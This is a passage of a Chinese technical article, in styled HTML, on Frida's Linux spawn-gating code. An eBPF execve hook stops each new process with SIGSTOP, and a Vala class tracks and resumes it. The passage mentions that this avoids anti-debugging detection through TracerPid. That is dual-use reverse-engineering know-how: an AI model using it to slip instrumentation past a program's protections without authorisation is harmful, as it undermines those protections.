400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="131" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> _</span><span style="color: rgb(128, 128, 128);"><span leaf="">ExecveEvent</span></span><span leaf=""> {</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> pid;                    </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 进程TGID</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> command[MAX_FILENAME]; </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// execve第一个参数：可执行文件路径</span></span><br/><span leaf="">};</span></code></pre><p data-line="138" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">结构极简，只包含PID和命令路径。使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_get_current_pid_tgid() &gt;&gt; 32</span></code><span leaf="">获取TGID（即进程PID），通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_probe_read_user_str</span></code><span leaf="">从用户空间安全读取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">execve</span></code><span leaf="">的第一个参数（文件名）。</span></p><p data-line="140" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">核心机制：bpf_send_signal(SIGSTOP)</span></strong></p><p data-line="142" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这是整个设计最精妙的一行。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_send_signal()</span></code><span leaf="">是Linux 5.3引入的BPF helper，允许eBPF程序直接向当前任务发送信号。调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_send_signal(SIGSTOP)</span></code><span leaf="">会让正在执行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">execve</span></code><span leaf="">的进程立即被内核暂停——进程进入</span><strong><span leaf="">group-stop</span></strong><span leaf="">状态。</span></p><p data-line="144" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这与ptrace的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PTRACE_ATTACH</span></code><span leaf="">完全不同：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">ptrace会在目标进程的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/pid/status</span></code><span leaf="">中设置</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TracerPid</span></code><span leaf="">字段，容易被反调试检测</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SIGSTOP</span></code><p><span leaf="">导致的group-stop是正常的进程状态，不涉及调试器附加</span></p></li><li style=""><p><span leaf="">eBPF程序运行在内核上下文，对目标进程完全透明</span></p></li></ul><p data-line="150" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">ringbuf通信</span></strong></p><p data-line="152" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BPF_MAP_TYPE_RINGBUF</span></code><span leaf="">（大小4MB，即</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">1 &lt;&lt; 22</span></code><span leaf="">）。先</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_ringbuf_reserve</span></code><span leaf="">预留空间、填充数据、再</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_ringbuf_submit</span></code><span leaf="">提交。比</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BPF_MAP_TYPE_PERF_EVENT_ARRAY</span></code><span leaf="">更高效，不需要per-CPU buffer。</span></p><h3 data-line="154" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 用户态管理：SpawnGater类</span></h3><p data-line="156" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/spawn-gater.vala</span></code><span leaf="">实现了完整的用户态管理逻辑，总计154行。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="158" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">SpawnGater</span><br/><span leaf="">├── start()          // 加载eBPF程序，attach tracepoint，监听ringbuf</span><br/><span leaf="">├── stop()           // 卸载eBPF，恢复所有pending进程</span><br/><span leaf="">├── enumerate_pending_spawn()  // 返回当前被拦截的进程列表</span><br/><span leaf="">├── try_resume()     // 恢复指定进程</span><br/><span leaf="">├── signal spawn_added    // 通知上层有新进程被拦截</span><br/><span leaf="">└── signal spawn_removed  // 通知上层进程已恢复</span></code></pre><p data-line="168" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">启动流程</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="170" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">public</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">void</span></span><span leaf=""> start () throws Error {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> obj = BpfObject.open (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;spawn-gater.elf&#34;</span></span><span leaf="">,</span><br/><span leaf="">        Frida.Data.HelperBackend.get_spawn_gater_elf_blob ().data);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> events = obj.maps.get_by_name (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;events&#34;</span></span><span leaf="">);</span><br/><span leaf="">    obj.prepare ();</span><br/><span leaf="">    events_reader = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> BpfRingbufReader (events);</span><br/><span leaf="">    obj.load ();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">foreach</span></span><span leaf=""> (</span><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> program in obj.programs) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> link = program.attach ();</span><br/><span leaf="">        links.add (link);</span><br/><span leaf="">    }</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 设置epoll监听ringbuf的fd</span></span><br/><span leaf="">    events_channel = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> IOChannel.unix_new (events.fd);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> src = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> IOSource (events_channel, IOCondition.IN);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> state = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> EventsWatchState (</span><span style="color: rgb(0, 0, 255);"><span leaf="">this</span></span><span leaf="">);</span><br/><span leaf="">    src.set_callback (state.on_ready);</span><br/><span leaf="">    src.attach (MainContext.get_thread_default ());</span><br/><span leaf="">    events_source = src;</span><br/><span leaf="">}</span></code></pre><p data-line="194" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这里复用了17.8.0引入的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BpfObject</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BpfRingbufReader</span></code><span leaf="">基础设施。预编译的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">spawn-gater.elf</span></code><span leaf="">以资源blob形式内嵌在frida-helper中，运行时通过libbpf加载。</span></p><p data-line="196" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BpfRingbufReader</span></code><span leaf="">内部使用epoll监听ringbuf的文件描述符。当内核侧有新事件写入时，通过GLib的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">IOSource</span></code><span leaf="">回调</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">on_ready</span></code><span leaf="">，进而调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">process_pending_events()</span></code><span leaf="">拉取事件。</span></p><p data-line="198" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">事件处理</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="200" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">private</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">void</span></span><span leaf=""> handle_event (ExecveEvent * e) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> info = HostSpawnInfo (e-&gt;pid, (</span><span style="color: rgb(0, 0, 255);"><span leaf="">string</span></span><span leaf="">) e-&gt;command);</span><br/><span leaf="">    pending_spawn[e-&gt;pid] = info;</span><br/><span leaf="">    spawn_added (info);</span><br/><span leaf="">}</span></code></pre><p data-line="208" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">每个事件被解析为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">HostSpawnInfo</span></code><span leaf="">（包含pid和可执行文件路径），存入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pending_spawn</span></code><span leaf="">字典，并通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">spawn_added</span></code><span leaf="">信号通知上层。</span></p><p data-line="210" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">恢复机制</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="212" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">public</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">bool</span></span><span leaf=""> try_resume (</span><span style="color: rgb(0, 0, 255);"><span leaf="">uint</span></span><span leaf=""> pid) {</span><br/><span leaf="">    HostSpawnInfo? spawn;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!pending_spawn.unset (pid, out spawn))</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><br/><span leaf="">    spawn_removed (spawn);</span><br/><span leaf="">    perform_resume.begin (pid);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">private</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">async</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">void</span></span><span leaf=""> perform_resume (</span><span style="color: rgb(0, 0, 255);"><span leaf="">uint</span></span><span leaf=""> pid) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">try</span></span><span leaf=""> {</span><br/><span leaf="">        yield helper.resume (pid, </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">);</span><br/><span leaf="">    } </span><span style="color: rgb(0, 0, 255);"><span leaf="">catch</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">GLib</span></span><span leaf="">.Error e) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (e is Error.INVALID_ARGUMENT)</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">Posix</span></span><span leaf="">.kill ((</span><span style="color: rgb(0, 122, 204);"><span leaf="">Posix</span></span><span leaf="">.pid_t) pid, </span><span style="color: rgb(0, 122, 204);"><span leaf="">Posix</span></span><span leaf="">.Signal.CONT);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="232" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">恢复时优先尝试通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">helper.resume()</span></code><span leaf="">（ptrace方式），如果失败则退回</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kill(pid, SIGCONT)</span></code><span leaf="">直接发送继续信号。这个双路径设计保证了健壮性：如果进程已经被注入过（由InjectSession管理），走ptrace路径；否则走简单的SIGCONT。</span></p><h3 data-line="234" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4 宿主会话集成</span></h3><p data-line="236" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code 